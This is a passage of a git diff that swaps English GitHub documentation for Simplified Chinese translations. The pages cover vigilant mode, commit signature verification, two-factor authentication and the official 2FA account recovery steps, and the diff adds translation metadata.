启用警戒模式后,您的所有提交和标记都将被标记为三个验证状态之一。 -![Signature verification statuses](/assets/images/help/commits/signature-verification-statuses.png) +![签名验证状态](/assets/images/help/commits/signature-verification-statuses.png) {% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %} -You should only enable vigilant mode if you sign all of your commits and tags and use an email address that is verified for your account on {% data variables.product.product_name %} as your committer email address. After enabling this mode, any unsigned commits or tags that you generate locally and push to {% data variables.product.prodname_dotcom %} will be marked "Unverified." +只有在签署所有提交和标记并在 {% data variables.product.product_name %} 上为您的帐户验证的电子邮件地址用作提交人电子邮件地址时,您才应启用警惕模式。 启用此模式后,您本地生成并推送到 {% data variables.product.prodname_dotcom %} 的任何未签名的提交或标记将被标记为“未验证”。 {% data reusables.identity-and-permissions.verification-status-check %} -## Enabling vigilant mode +## 启用警戒模式 -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -3. On the SSH Settings page, under "Vigilant mode," select **Flag unsigned commits as unverified**. +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +3. 在 SSH 设置页面的“警戒模式”下,选择“将未签名的提交标记为未验证”。 - ![Flag unsigned commits as unverified checkbox](/assets/images/help/commits/vigilant-mode-checkbox.png) + ![将未签名的提交标记为未验证的复选框](/assets/images/help/commits/vigilant-mode-checkbox.png) diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md index ba633a09a0..4ff492e71c 100644 --- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md +++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md @@ -1,6 +1,6 @@ --- -title: Managing commit signature verification -intro: '{% data variables.product.product_name %} will verify GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME signatures so other people will know that your commits come from a trusted source.{% ifversion fpt %} {% data variables.product.product_name %} will automatically sign commits you make using the {% data variables.product.product_name %} web interface.{% endif %}' +title: 管理提交签名验证 +intro: '可使用 GPG 或 S/MIME 在本地对工作进行签名。 {% data variables.product.product_name %} 将会验证这些签名,以便其他人知道提交来自受信任的源。{% ifversion fpt %} {% data variables.product.product_name %} 将自动使用 {% data variables.product.product_name %} Web 界面{% endif %}对提交签名。' redirect_from: - /articles/generating-a-gpg-key - /articles/signing-commits-with-gpg @@ -25,5 +25,11 @@ children: - /signing-commits - /signing-tags shortTitle: Verify commit signatures +ms.openlocfilehash: 0edcbdc7ab55fee7634eda78c2ae9bf27e7ac1f1 +ms.sourcegitcommit: ddb4d39e00e3a42edebc93fac31e5f83a6c0534c +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/19/2022 +ms.locfileid: '147369232' --- diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md index 66084e4142..5f6a61ea37 100644 --- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md +++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md @@ -1,6 +1,6 @@ --- -title: About two-factor authentication -intro: '{% data reusables.two_fa.about-2fa %} With 2FA, you have to log in with your username and password and provide another form of authentication that only you know or have access to.' +title: 关于双重身份验证 +intro: '{% data reusables.two_fa.about-2fa %}启用 2FA 时,必须使用您的用户名和密码登录,并提供另一种只有您知道或可以访问的身份验证形式。' redirect_from: - /articles/about-two-factor-authentication - /github/authenticating-to-github/about-two-factor-authentication @@ -12,37 +12,42 @@ versions: topics: - 2FA shortTitle: About 2FA +ms.openlocfilehash: f4b15aeeece76ce5e5afe915e0e0bc4893c4dbb6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145084612' --- -For {% data variables.product.product_name %}, the second form of authentication is a code that's generated by an application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. After you enable 2FA, {% data variables.product.product_name %} generates an authentication code any time someone attempts to sign into your account on {% data variables.location.product_location %}. The only way someone can sign into your account is if they know both your password and have access to the authentication code on your phone. +对于 {% data variables.product.product_name %} 来说,第二种身份验证形式是一个由移动设备上的应用程序生成的{% ifversion fpt or ghec %}或者以短信 (SMS) 形式发送的{% endif %}代码。 在启用 2FA 后,只要有人尝试登录您在 {% data variables.product.product_name %} 上的帐户,{% data variables.product.product_location %} 就会生成验证码。 用户能登录你的帐户的唯一方式是,他们知道你的密码,且有权访问你手机上的验证码。 {% data reusables.two_fa.after-2fa-add-security-key %} -{% ifversion fpt or ghec %} -In addition to security keys, you can also use {% data variables.product.prodname_mobile %} for 2FA after configuring a TOTP mobile app or text messages. {% data variables.product.prodname_mobile %} uses public-key cryptography to secure your account, allowing you to use any mobile device that you've used to sign in to {% data variables.product.prodname_mobile %} as your second factor. +{% ifversion fpt or ghec %} 除了安全密钥之外,你还可以在配置 TOTP 移动应用或短信后使用 {% data variables.product.prodname_mobile %} 进行双因素身份验证。 {% data variables.product.prodname_mobile %} 使用公钥加密来保护你的帐户,允许你使用用于登录 {% data variables.product.prodname_mobile %} 的任何移动设备作为第二重身份验证。 {% endif %} -You can also configure additional recovery methods in case you lose access to your two-factor authentication credentials. For more information on setting up 2FA, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" and "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)." +您还可以配置其他恢复方法,以防无法访问双重身份验证凭据。 有关设置 2FA 的详细信息,请参阅“[配置双因素身份验证](/articles/configuring-two-factor-authentication)”和“[配置双因素身份验证恢复方法](/articles/configuring-two-factor-authentication-recovery-methods)”。 -We **strongly** urge you to enable 2FA for the safety of your account, not only on {% data variables.product.product_name %}, but on other websites and apps that support 2FA. You can enable 2FA to access {% data variables.product.product_name %} and {% data variables.product.prodname_desktop %}. +为确保帐户安全,强烈建议启用 2FA,不仅在 {% data variables.product.product_name %} 上启用,在支持 2FA 的其他网站和应用上也要启用。 您可以启用 2FA 以访问 {% data variables.product.product_name %} 和 {% data variables.product.prodname_desktop %}。 -For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)." +有关详细信息,请参阅“[使用双因素身份验证访问 {% data variables.product.prodname_dotcom %}](/articles/accessing-github-using-two-factor-authentication)”。 -## Two-factor authentication recovery codes +## 双重身份验证恢复代码 -{% data reusables.two_fa.about-recovery-codes %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." +{% data reusables.two_fa.about-recovery-codes %} 有关详细信息,请参阅“[丢失 2FA 凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)”。 {% ifversion fpt or ghec %} {% warning %} -**Warning**: {% data reusables.two_fa.support-may-not-help %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." +警告:{% data reusables.two_fa.support-may-not-help %} 有关详细信息,请参阅“[丢失 2FA 凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)”。 {% endwarning %} {% endif %} -## Requiring two-factor authentication in your organization +## 在你的组织中要求进行双因素身份验证 -Organization owners can require that organization members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators use two-factor authentication to secure their personal accounts. For more information, see "[Requiring two-factor authentication in your organization](/articles/requiring-two-factor-authentication-in-your-organization)." +组织所有者可要求组织成员{% ifversion fpt or ghec %}、帐单管理员{% endif %}和外部协作者使用双因素身份验证保护其个人帐户。 有关详细信息,请参阅“[要求在组织中进行双因素身份验证](/articles/requiring-two-factor-authentication-in-your-organization)”。 {% data reusables.two_fa.auth_methods_2fa %} diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md index a79e1f0801..d1a25e19da 100644 --- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md +++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md @@ -1,6 +1,6 @@ --- -title: Accessing GitHub using two-factor authentication -intro: 'With 2FA enabled, you''ll be asked to provide your 2FA authentication code, as well as your password, when you sign in to {% data variables.product.product_name %}.' +title: 使用双重身份验证访问 GitHub +intro: '启用 2FA 后,在登录到 {% data variables.product.product_name %} 时需要提供 2FA 验证码以及密码。' redirect_from: - /articles/providing-your-2fa-security-code - /articles/providing-your-2fa-authentication-code @@ -15,83 +15,89 @@ versions: topics: - 2FA shortTitle: Access GitHub with 2FA +ms.openlocfilehash: 244cc4b45165cbc327729fd6d1c5ac519a6a6d7a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084610' --- -With two-factor authentication enabled, you'll need to provide an authentication code when accessing {% data variables.product.product_name %} through your browser. If you access {% data variables.product.product_name %} using other methods, such as the API or the command line, you'll need to use an alternative form of authentication. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." +启用双重身份验证后,您在通过浏览器访问 {% data variables.product.product_name %} 时需要提供验证码。 如果使用其他方法访问 {% data variables.product.product_name %},如 API 或命令行,则需要使用其他形式的身份验证。 有关详细信息,请参阅“[关于对 {% data variables.product.prodname_dotcom %} 的身份验证](/github/authenticating-to-github/about-authentication-to-github)”。 -## Providing a 2FA code when signing in to the website +## 登录网站时提供 2FA 码 -After you sign in to {% data variables.product.product_name %} using your password, you'll be prompted to provide an authentication code from {% ifversion fpt or ghec %}a text message or{% endif %} your TOTP app. +在使用密码登录 {% data variables.product.product_name %} 后,系统会提示你提供{% ifversion fpt or ghec %}短信或{% endif %} TOTP 应用中的验证码。 -{% data variables.product.product_name %} will only ask you to provide your 2FA authentication code again if you've logged out, are using a new device, or your session expires. +{% data variables.product.product_name %} 仅在您注销后、使用新设备或会话过期时才会要求您再次提供 2FA 验证码。 -### Generating a code through a TOTP application +### 通过 TOTP 应用程序生成代码 -If you chose to set up two-factor authentication using a TOTP application on your smartphone, you can generate an authentication code for {% data variables.product.product_name %} at any time. In most cases, just launching the application will generate a new code. You should refer to your application's documentation for specific instructions. +如果选择使用 TOTP 应用程序在智能手机上设置双重身份验证,可随时为 {% data variables.product.product_name %} 生成验证码。 大多数情况下,只有启动应用程序才会生成新代码。 具体说明请参阅应用程序的文档。 -If you delete the mobile application after configuring two-factor authentication, you'll need to provide your recovery code to get access to your account. For more information, see "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)" +如果在配置双重身份验证后删除移动应用程序,则需要提供恢复代码才可访问您的帐户。 有关详细信息,请参阅“[丢失双因素身份验证凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)” {% ifversion fpt or ghec %} -### Receiving a text message +### 接收短信 -If you set up two-factor authentication via text messages, {% data variables.product.product_name %} will send you a text message with your authentication code. +如果设置通过短信进行双重身份验证,{% data variables.product.product_name %} 将通过短信向您发送验证码。 -### Verifying with {% data variables.product.prodname_mobile %} +### 向 {% data variables.product.prodname_mobile %} 验证 -If you have installed and signed in to {% data variables.product.prodname_mobile %}, you may choose to authenticate with {% data variables.product.prodname_mobile %} for two-factor authentication. +如果您已安装并登录到 {% data variables.product.prodname_mobile %},则可以选择向 {% data variables.product.prodname_mobile %} 验证以进行双重身份验证。 -1. Sign in to {% data variables.product.product_name %} with your browser, using your username and password. -2. If you have added a security key to your account, you'll first be prompted to insert and use a security key. To skip using a security key, click **Authenticate with {% data variables.product.prodname_mobile %}**. - ![Two-factor authentication challenge on {% data variables.product.product_name %} with "Authenticate with {% data variables.product.prodname_mobile %}" highlighted](/assets/images/help/2fa/2fa-select-mobile.png) -3. {% data variables.product.product_name %} will send you a push notification to verify your sign in attempt. Opening the push notification or opening the {% data variables.product.prodname_mobile %} app will display a prompt, asking you to approve or reject this sign in attempt. +1. 使用您的用户名和密码通过浏览器登录 {% data variables.product.product_name %}。 +2. 如果您已向帐号添加了安全密钥,系统将首先提示您插入并使用安全密钥。 若要跳过使用安全密钥,请单击“使用 {% data variables.product.prodname_mobile %} 进行身份验证”。 + ![突出显示“使用 {% data variables.product.prodname_mobile %} 进行身份验证”的 {% data variables.product.product_name %} 上的双因素身份验证质询](/assets/images/help/2fa/2fa-select-mobile.png) +3. {% data variables.product.product_name %} 将向您发送推送通知以验证您的登录尝试。 打开推送通知或打开 {% data variables.product.prodname_mobile %} 应用程序将显示提示,要求你批准或拒绝此登录尝试。 {% note %} - **Note**: This prompt may require you to enter a two-digit number displayed within the browser you are signing in to. + 注意:此提示可能要求你输入正在登录的浏览器中显示的两位数字。 {% endnote %} - ![Two-factor authentication challenge with {% data variables.product.prodname_mobile %} requiring a two-digit input](/assets/images/help/2fa/2fa-mobile-number-challenge.png) + ![需要两位数输入的 {% data variables.product.prodname_mobile %} 的双重身份验证质询](/assets/images/help/2fa/2fa-mobile-number-challenge.png) - - Upon approving the login attempt using {% data variables.product.prodname_mobile %}, your browser will complete the sign in attempt automatically. - - Rejecting the sign in attempt will prevent the authentication from finishing. For more information, see "[Keeping your account and data secure](/authentication/keeping-your-account-and-data-secure)." + - 使用 {% data variables.product.prodname_mobile %} 批准登录尝试后,您的浏览器将自动完成登录尝试。 + - 拒绝登录尝试将阻止身份验证完成。 有关详细信息,请参阅“[确保帐户和数据安全](/authentication/keeping-your-account-and-data-secure)”。 {% endif %} -## Using two-factor authentication with the command line +## 通过命令行使用双重身份验证 -After you've enabled 2FA, you will no longer use your password to access {% data variables.product.product_name %} on the command line. Instead, use Git Credential Manager, a {% data variables.product.pat_generic %}, or an SSH key. +启用 2FA 后,将不再使用密码在命令行上访问 {% data variables.product.product_name %}。 请改用 Git 凭据管理器、个人访问令牌或 SSH 密钥。 -### Authenticating on the command line using Git Credential Manager +### 使用 Git 凭据管理器在命令行上进行身份验证 -[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) is a secure Git credential helper that runs on Windows, macOS, and Linux. For more information about Git credential helpers, see [Avoiding repetition](https://git-scm.com/docs/gitcredentials#_avoiding_repetition) in the Pro Git book. +[Git 凭据管理器](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md)是一个安全的 Git 凭据帮助程序,可在 Windows、macOS 和 Linux 上运行。 有关 Git 凭据帮助程序的详细信息,请参阅 Pro Git 手册中的[避免重复](https://git-scm.com/docs/gitcredentials#_avoiding_repetition)。 -Setup instructions vary based on your computer's operating system. For more information, see [Download and install](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md#download-and-install) in the GitCredentialManager/git-credential-manager repository. +安装说明因计算机操作系统而异。 有关详细信息,请参阅 GitCredentialManager/git-credential-manager 存储库中的[下载和安装](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md#download-and-install)。 -### Authenticating on the command line using HTTPS +### 在命令行上使用 HTTPS 验证 -After you've enabled 2FA, you must create a {% data variables.product.pat_generic %} to use as a password when authenticating to {% data variables.product.product_name %} on the command line using HTTPS URLs. +启用 2FA 后,必须创建个人访问令牌以用作在命令行上使用 HTTPS URL 向 {% data variables.product.product_name %} 验证时的密码。 -When prompted for a username and password on the command line, use your {% data variables.product.product_name %} username and {% data variables.product.pat_generic %}. The command line prompt won't specify that you should enter your {% data variables.product.pat_generic %} when it asks for your password. +当命令行上提供用户名和密码时,使用您的 {% data variables.product.product_name %} 用户名和个人访问令牌。 命令行提示不会指出在要求密码时您应输入个人访问令牌。 -For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 -### Authenticating on the command line using SSH +### 在命令行上使用 SSH 验证 -Enabling 2FA doesn't change how you authenticate to {% data variables.product.product_name %} on the command line using SSH URLs. For more information about setting up and using an SSH key, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/articles/connecting-to-github-with-ssh/)." +启用 2FA 不会更改您在命令行上使用 SSH URL 向 {% data variables.product.product_name %} 验证的方式。 有关设置和使用 SSH 密钥的详细信息,请参阅“[使用 SSH 连接到 {% data variables.product.prodname_dotcom %}](/articles/connecting-to-github-with-ssh/)”。 -## Using two-factor authentication to access a repository using Subversion +## 使用双重身份验证通过 Subversion 访问仓库 -When you access a repository via Subversion, you must provide a {% data variables.product.pat_generic %} instead of entering your password. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +通过 Subversion 访问仓库时,必须提供个人人访问令牌,而不是输入密码。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 -## Troubleshooting +## 故障排除 -If you lose access to your two-factor authentication credentials, you can use your recovery codes or another recovery method (if you've set one up) to regain access to your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." +如果失去对双重身份验证凭据的访问,您可以使用恢复代码或其他恢复方式(如已设置)重新获取对帐户的访问。 有关详细信息,请参阅“[丢失 2FA 凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)”。 -If your authentication fails several times, you may wish to synchronize your phone's clock with your mobile provider. Often, this involves checking the "Set automatically" option on your phone's clock, rather than providing your own time zone. +如果身份验证失败多次,您可能要与移动提供商同步手机的时钟。 通常,这需要在手机的时钟上选中 "Set automatically"(自动设置)选项,而不是提供自己的时区。 -## Further reading +## 延伸阅读 -- "[About two-factor authentication](/articles/about-two-factor-authentication)" -- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" -- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)" -- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)" +- [关于双因素身份验证](/articles/about-two-factor-authentication) +- [配置双因素身份验证](/articles/configuring-two-factor-authentication) +- [配置双因素身份验证恢复方法](/articles/configuring-two-factor-authentication-recovery-methods) +- [丢失双因素身份验证凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials) diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md index ee314edd92..6c21543714 100644 --- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md +++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md @@ -1,6 +1,6 @@ --- -title: Securing your account with two-factor authentication (2FA) -intro: 'You can set up your account on {% data variables.location.product_location %} to require an authentication code in addition to your password when you sign in.' +title: 使用双重身份验证 (2FA) 保护您的帐户 +intro: '您可以将您在 {% data variables.product.product_location %} 上的帐户设置为在登录时除了密码以外还需要验证码。' redirect_from: - /categories/84/articles - /categories/two-factor-authentication-2fa @@ -22,5 +22,11 @@ children: - /countries-where-sms-authentication-is-supported - /disabling-two-factor-authentication-for-your-personal-account shortTitle: Secure your account with 2FA +ms.openlocfilehash: 886af1b083719e4381fcc30fcd4855507d718889 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084594' --- diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md index 6c4ac89dc0..8e1cb6d4c1 100644 --- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md +++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md @@ -1,6 +1,6 @@ --- -title: Recovering your account if you lose your 2FA credentials -intro: 'If you lose access to your two-factor authentication credentials, you can use your recovery codes, or another recovery option, to regain access to your account.' +title: 丢失 2FA 凭据时恢复帐户 +intro: 如果无法访问双重身份验证凭据,您可以使用恢复代码或其他恢复选项重新获取对帐户的访问权限。 redirect_from: - /articles/recovering-your-account-if-you-lost-your-2fa-credentials - /articles/authenticating-with-an-account-recovery-token @@ -14,12 +14,18 @@ versions: topics: - 2FA shortTitle: Recover an account with 2FA +ms.openlocfilehash: 1a93d77d4da76a6efbc96ba5d80d0fe7e800c08a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084595' --- {% ifversion fpt or ghec %} {% warning %} -**Warnings**: +**警告**: - {% data reusables.two_fa.support-may-not-help %} @@ -27,84 +33,83 @@ shortTitle: Recover an account with 2FA {% endif %} -## Using a two-factor authentication recovery code +## 使用双因素身份验证恢复代码 -Use one of your recovery codes to automatically regain entry into your account. You may have saved your recovery codes to a password manager or your computer's downloads folder. The default filename for recovery codes is `github-recovery-codes.txt`. For more information about recovery codes, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)." +使用您的恢复代码之一自动重新进入您的帐户。 您可能已将恢复代码保存到密码管理器或计算机的下载文件夹中。 恢复代码的默认文件名为 `github-recovery-codes.txt`。 有关恢复代码的详细信息,请参阅“[配置双因素身份验证的恢复方法](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)”。 -1. Type your username and password to prompt authentication. +1. 输入您的用户名和密码以提示身份验证。 {% warning %} - **Warning**: {% data reusables.accounts.you-must-know-your-password %} + 警告:{% data reusables.accounts.you-must-know-your-password %} {% endwarning %} {% ifversion fpt or ghec %} -1. Under "Having problems?", click **Use a recovery code or request a reset**. +1. 在“有问题?”下,单击“使用恢复代码或请求重置”。 - ![Screenshot of link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png) -{%- else %} -1. On the 2FA page, under "Don't have your phone?", click **Enter a two-factor recovery code**. + ![使用恢复代码的链接的屏幕截图](/assets/images/help/2fa/2fa-recovery-code-link.png) {%- else %} +1. 在 2FA 页面上的“没有你的电话?”下,单击“输入双因素恢复代码”。 - ![Screenshot of link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %} -1. Type one of your recovery codes, then click **Verify**. + ![使用恢复代码的链接的屏幕截图](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %} +1. 输入恢复代码之一,然后单击“验证”。 - ![Field to type a recovery code and Verify button](/assets/images/help/2fa/2fa-type-verify-recovery-code.png) + ![输入恢复代码的字段和验证按钮](/assets/images/help/2fa/2fa-type-verify-recovery-code.png) {% ifversion fpt or ghec %} -## Authenticating with a fallback number +## 使用后备号码进行身份验证 -If you lose access to your primary TOTP app or phone number, you can provide a two-factor authentication code sent to your fallback number to automatically regain access to your account. +如果无法访问主要 TOTP 应用程序或电话号码,则可以提供发送到后备号码的双因素身份验证码,以自动重新获得对帐户的访问权限。 {% endif %} -## Authenticating with a security key +## 使用安全密钥进行身份验证 -If you configured two-factor authentication using a security key, you can use your security key as a secondary authentication method to automatically regain access to your account. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)." +如果您使用安全密钥配置双重身份验证,则可以使用安全密钥作为辅助身份验证方法来自动重新获得对帐户的访问权限。 有关详细信息,请参阅“[配置双因素身份验证](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)”。 {% ifversion fpt or ghec %} -## Authenticating with a verified device, SSH token, or {% data variables.product.pat_generic %} +## 使用经过验证的设备、SSH 令牌或个人访问令牌进行身份验证 -If you know your password for {% data variables.location.product_location %} but don't have the two-factor authentication credentials or your two-factor authentication recovery codes, you can have a one-time password sent to your verified email address to begin the verification process and regain access to your account. +如果您知道 {% data variables.product.product_location %} 的密码但无法访问双重身份验证凭据,或没有双重身份验证恢复代码,则可以将一次性密码发送到经验证的电子邮件地址,以开始验证过程,重新获得对帐户的访问权限。 {% note %} -**Note**: For security reasons, regaining access to your account by authenticating with a one-time password can take up to three business days. {% data variables.product.company_short %} will not review additional requests submitted during this time. +注意:出于安全原因,使用一次性密码验证进行身份验证来重新获得帐户访问权限可能需要最长三个工作日。 在此期间,{% data variables.product.company_short %} 不会审核提交的其他请求。 {% endnote %} -You can use your two-factor authentication credentials or two-factor authentication recovery codes to regain access to your account anytime during the 3-5 day waiting period. +在这 3-5 天的等待期内,您随时可以使用双重身份验证凭据或双重身份验证恢复代码重新获得对帐户的访问权限。 -1. Type your username and password to prompt authentication. +1. 输入您的用户名和密码以提示身份验证。 {% warning %} - **Warning**: {% data reusables.accounts.you-must-know-your-password %} + 警告:{% data reusables.accounts.you-must-know-your-password %} {% endwarning %} -1. Under "Having problems?", click **Use a recovery code or request a reset**. +1. 在“有问题?”下,单击“使用恢复代码或请求重置”。 - ![Screenshot of link if you don't have your 2fa device or recovery codes](/assets/images/help/2fa/no-access-link.png) -1. To the right of "Locked out?", click **Try recovering your account**. + ![没有 2fa 设备或恢复码时的链接的屏幕截图](/assets/images/help/2fa/no-access-link.png) +1. 在“已锁定?”的右侧,单击“尝试恢复你的帐户”。 - ![Screenshot of link to try recovering your account](/assets/images/help/2fa/try-recovering-your-account-link.png) -1. Click **I understand, get started** to request a reset of your authentication settings. + ![用于尝试恢复帐户的链接的屏幕截图](/assets/images/help/2fa/try-recovering-your-account-link.png) +1. 单击“我理解,开始”请求重置身份验证设置。 - ![Screenshot of button to start reset of authentication settings](/assets/images/help/2fa/reset-auth-settings.png) -1. Click **Send one-time password** to send a one-time password to all eligible addresses associated with your account. Only verified emails are eligible for account recovery. If you've restricted password resets to your primary and/or backup addresses, these addresses are the only addresses eligible for account recovery. + ![用于开始重置身份验证设置的按钮的屏幕截图](/assets/images/help/2fa/reset-auth-settings.png) +1. 单击“发送一次性密码”,向与你的帐户关联的所有合格地址发送一次性密码。 只有经过验证的电子邮件才有资格进行帐户恢复。 如果您已将密码重置限制为主地址和/或备用地址,则这些地址是唯一有资格恢复帐户的地址。 - ![Screenshot of button to send one-time password](/assets/images/help/2fa/send-one-time-password.png) -1. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent. + ![用于发送一次性密码的按钮的屏幕截图](/assets/images/help/2fa/send-one-time-password.png) +1. 在“One-time password(一次性密码)”下,键入恢复电子邮件 {% data variables.product.prodname_dotcom %} 发送的临时密码。 - ![Screenshot of field to type one-time password](/assets/images/help/2fa/one-time-password-field.png) -1. Click **Verify email address**. + ![用于键入一次性密码的字段的屏幕截图](/assets/images/help/2fa/one-time-password-field.png) +1. 单击“验证电子邮件地址”。 - ![Screenshot of button to verify email address](/assets/images/help/2fa/verify-email-address.png) -1. Choose an alternative verification factor. - - If you've used your current device to log into this account before and would like to use the device for verification, click **Verify with this device**. - - If you've previously set up an SSH key on this account and would like to use the SSH key for verification, click **SSH key**. - - If you've previously set up a {% data variables.product.pat_generic %} and would like to use the {% data variables.product.pat_generic %} for verification, click **{% data variables.product.pat_generic_caps %}**. + ![用于验证电子邮件地址的按钮的屏幕截图](/assets/images/help/2fa/verify-email-address.png) +1. 选择替代验证因素。 + - 如果之前已经使用当前设备登录此帐户,并且想使用该设备进行验证,请单击“使用此设备进行验证”。 + - 如果之前已在此帐户上设置 SSH 密钥,并且想使用此 SSH 密钥进行验证,请单击“SSH 密钥”。 + - 如果之前已经设置个人访问令牌,并且想使用个人访问令牌进行验证,请单击“个人访问令牌”。 - ![Screenshot of buttons for alternative verification](/assets/images/help/2fa/alt-verifications.png) -1. A member of {% data variables.contact.github_support %} will review your request and email you within three business days. If your request is approved, you'll receive a link to complete your account recovery process. If your request is denied, the email will include a way to contact support with any additional questions. + ![用于替代验证的按钮的屏幕截图](/assets/images/help/2fa/alt-verifications.png) +1. {% data variables.contact.github_support %} 的成员将在三个工作日内审查您的请求并给您发送电子邮件。 如果您的请求获得批准,您将收到一个完成帐户恢复过程的链接。 如果您的请求被拒绝,电子邮件将说明就任何其他问题联系支持的方式。 {% endif %} diff --git a/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md b/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md index df217b71a5..5c94805217 100644 --- a/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md +++ b/translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md @@ -1,6 +1,6 @@ --- -title: Checking your commit and tag signature verification status -intro: 'You can check the verification status of your commit and tag signatures on {% data variables.product.product_name %}.' +title: 检查提交和标记签名验证状态 +intro: '您可以在 {% data variables.product.product_name %} 上检查提交和标记签名的验证状态。' redirect_from: - /articles/checking-your-gpg-commit-and-tag-signature-verification-status - 